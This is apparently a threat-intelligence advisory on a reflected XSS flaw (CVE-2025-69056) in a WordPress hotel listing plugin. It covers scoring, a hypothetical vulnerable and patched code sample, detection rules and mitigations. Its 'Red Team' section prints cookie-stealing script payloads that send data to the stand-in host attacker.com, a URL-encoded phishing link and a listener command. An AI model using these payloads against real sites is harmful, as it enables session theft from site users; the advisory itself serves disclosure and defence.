CVE-2025-69056

Executive Summary

CVE-2025-69056 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Hotel Listing WordPress plugin by e-plugins, affecting versions through 1.4.0. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML via a crafted URL, which executes in the victim's browser within the context of the vulnerable WordPress site. The vulnerability arises from improper neutralization of user-supplied input during web page generation.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem threat landscape. The plugin is used to manage hotel listings, making it a target for phishing, session hijacking, and defacement attacks against hospitality websites.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The vendor (e-plugins) has not released a patch as of the latest advisory. Users should monitor the plugin's page for updates and consider removing the plugin if no patch is forthcoming. The lack of OSV or GitHub advisory data indicates limited public disclosure and no known automated patch management integration.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – Victim must click a crafted link.
• Scope (S): Changed – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: High. Although the EPSS score is 0.0% (indicating low current exploitation activity), the vulnerability is trivial to exploit and affects a widely-used plugin category. The lack of a patch increases risk over time.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS (CWE-79) in the Hotel Listing plugin. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in a query parameter (e.g., ?search=<script>alert(1)</script>). When a victim visits this URL, the script executes in their browser.

Root Cause: The plugin likely uses $_GET or $_REQUEST parameters directly in output without proper escaping functions like esc_html() or wp_kses_post(). WordPress core provides these functions, but plugin developers sometimes bypass them.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?hotel-search=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
2. Attacker distributes the link via email, social media, or other channels.
3. Victim clicks the link while authenticated to the WordPress site.
4. The script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on WordPress best practices.

Vulnerable Code (hotel-listing.php):

<?php
$search = $_GET['hotel-search'];
echo "<div class='hotel-search-results'>You searched for: " . $search . "</div>";
?>

Patched Code (hypothetical):

<?php
$search = isset($_GET['hotel-search']) ? sanitize_text_field($_GET['hotel-search']) : '';
echo "<div class='hotel-search-results'>You searched for: " . esc_html($search) . "</div>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Hotel Listing plugin <= 1.4.0.
• A web server to capture exfiltrated data (e.g., Python HTTP server).

Exploit Steps:

1. Identify a vulnerable parameter (e.g., hotel-search).
2. Craft a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. URL-encode the payload and construct the malicious link:

   https://victim-site.com/?hotel-search=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
   

4. Send the link to a victim (e.g., via phishing email).
5. Set up a listener:

   python3 -m http.server 80
   

6. When the victim clicks the link, the cookie is sent to your server.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags or unusual query parameters.
• Use WAF rules to block common XSS patterns (e.g., <script, onerror=, javascript:).
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for hotel-search parameter in access logs.
• Look for base64-encoded or URL-encoded payloads in query strings.

Lab Setup:

• Use a local WordPress instance with Docker:

  docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wp -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp -p 8080:80 -d wordpress
  

• Install the vulnerable plugin manually.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing hotel-search= followed by <script> or onerror= patterns.
• Outbound connections to unknown IPs or domains from the WordPress server.
• Referer headers pointing to phishing pages.

Host IOCs:

• Unexpected JavaScript files in the web root (e.g., xss.js).
• Modified .htaccess files redirecting to malicious sites.
• New admin users created via XSS (if session hijacking occurred).

Log IOCs:

• Access log entries with %3Cscript%3E or %3C/script%3E in the query string.
• Error logs showing PHP Notice: Undefined index: hotel-search (if parameter is missing).

Detection Engineering

YARA Rule

rule CVE_2025_69056_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Hotel Listing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69056"
    strings:
        $param = "hotel-search=" nocase
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against Hotel Listing Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the hotel-search parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "hotel-search="
        c-uri|contains|any:
            - "<script"
            - "onerror="
            - "javascript:"
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69056 Reflected XSS in Hotel Listing Plugin"; flow:to_server,established; content:"hotel-search="; http_uri; pcre:"/(<script|onerror=|javascript:|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Add CSP headers to mitigate script execution:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
   

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should monitor the WordPress Plugin Directory for updates.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin file to add escaping (see patched code example). Note: This will be overwritten on plugin update.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging of all HTTP requests and review for anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert